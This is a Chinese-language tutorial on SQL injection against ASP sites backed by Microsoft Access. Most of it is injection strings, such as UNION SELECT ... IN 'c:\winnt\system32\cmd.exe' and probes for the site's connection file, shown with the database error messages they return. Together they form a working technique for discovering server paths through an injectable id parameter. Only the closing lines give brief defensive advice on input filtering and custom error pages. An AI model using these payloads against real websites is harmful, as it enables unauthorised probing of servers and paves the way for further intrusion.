如今SQL injection可謂是火爆,諸多新的Injection方式被挖掘出來。利用系統錯誤來爆路徑,更是熱門話題,今天我也湊個熱鬧。
本例測試適用於
Access(由於MS SQL查詢不存在指定路徑),ACEESS存在一個可以把源數據庫的表導入到目標數據庫中。
如: mysource.mdb(admin表) —〉mydestion.mdb中
如果要在一個已經存在的外部數據庫裡創建新的工作表,你可以用IN關鍵字。如果外部數據庫不存在或是 數據表已存在的話,SELECT INTO 語句將會返回一個錯誤信息。
SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers。
左右推揣是不是能用子查詢功能應用把它變成:
一般有漏洞語句,如select * from news where id="&request("id"),存在注射的。以下的演示就用一套使用select * from news whre id=”&request(“id”)來作測試。為了方便,直接轉換為SQL執行時的狀態:
select * from news where id=3 and SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers
經測試是不能在子查詢實現導表的功能的。這條路又被檔住了。突然之間想到了UNION,合並操作符,看看是否能用它。
注:The UNION Operator(適用ACCEESS)
雖然UNION 的操作也可以視為一個合並查詢,但我們不可以技術性地把它看作是一個聯接,它之所以被提到是因為它能把從多個來源獲得的數據合成一個結果表單中,而這一點和某些類型的聯接是類似的。UNION 操作一般被用來把來自表單、SELECT語句或查詢的數據結合,並省略掉任何重復的行。所有的數據源必須有相同數目的域,不過這些域不一定要是相同的數據類型。讓我們假設我們有一個雇員表單,其中具有和顧客工作表單相同的結構,那麼我們希望合並這兩個工作表得到一個姓名和電子郵件地址信息的列表。
SELECT [Last Name], [First Name], Email FROM tblCustomers UNION SELECT [Last Name], [First Name], Email FROM tblEmployees
UNION操作不會顯示任何在兩個表單中重復出現的記錄。利用UNION 的查詢語句一定要與UNION前的查詢語句字段列相等,如:
select id,title from news where id=3 UNION select * from admin
查詢的字段不等,返回:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80004005' [Microsoft][ODBC Microsoft
Access Driver] 在聯合查詢中所選定的兩個數據表或查詢中的列數不匹配。
查詢語句可用避過: select id,title from news where id=3 UNION select 1,1 from admin 只要放入的1的個數與字段相等,也可實現查詢。
看看是否能夠把語句變成:
select * from news where id=3 Union SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers
返回:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80004005' [Microsoft][ODBC Microsoft
Access Driver] 動作查詢不能作為行的來源。
結果,還是失敗的。因為UNION只適用查詢結合。UNION後面不能跟動作。可能這條路走不通了,想想還是不甘心。
試著用:
s elect * from news where id=3 Union select * from admin.c
返回:
Microsoft JET Database Engine 錯誤 '80004005' 找不到文件 'C:\WINNT\system32\admin.mdb'。
這證明和用select * from news where id=3 and 0<>(select count(*) from admin.c)是一樣可以成功測試路徑的。但是想想用這種方法
Access始終默認檢測後綴MDB,雖然用以上有辦法避過。便是過於麻煩。
於是我在想是不是用其他的方法可以更簡單的實現,回頭想起了剛才SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers。IN關鍵字不是可以指向路徑文件名嗎?是否可以把它歸為已用。
接著測試:
select * from news where id=3 union select * from admin in 'c:\Customers.mdb'
系統提示:
Microsoft JET Database Engine 錯誤 '80004005' 找不到文件 'c:\Customers.mdb'。
使用:
select * from news where id=3 union select * from admin in 'c:\winnt\system32\cmd.exe'
系統提示:
Microsoft JET Database Engine 錯誤 '80004005' Microsoft Jet 數據庫引擎打不開文件'c:\winnt\system32\CMD.EXE'。 它已經被別的用戶以獨占方式打開,或沒有查看數據的權限。
這種方式的實現比起用 and 0<>(select count(*) from admin)查詢的結來得更為簡明了,而且猜測的是MDB後綴的文件,猜測的路徑和文件名正確的,信息會正常顯示。但如果是猜測非MDB的文件則是這樣的:
執行:
select * from news where id=3 union select * from admin in 'e:\www\include\connect.ASP'
返回:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80004005' [Microsoft][ODBC Microsoft
Access Driver] 不可識別的數據庫格式 'e:\www\include\connect.ASP'
證明所猜測的路徑和文件是正確的。
後話,由於Access本身的缺陷,至使SQL INJECTION的方式層出不窮。但很大一方面是由於程序員在書寫程序的時候,不注意防范,防弊大意。針對有傳值的SQL語進行詳細的過濾,起碼也是阻擋SQL INJECTION的一道門,
Access本身的缺陷解使,很多法語洞防不勝防,建議服務器出錯信息,創建一個自己的WEB信息出錯面面,服務器出錯就出現那頁面。這樣一來就沒有參考的出錯信息了,僅於些文當作參考。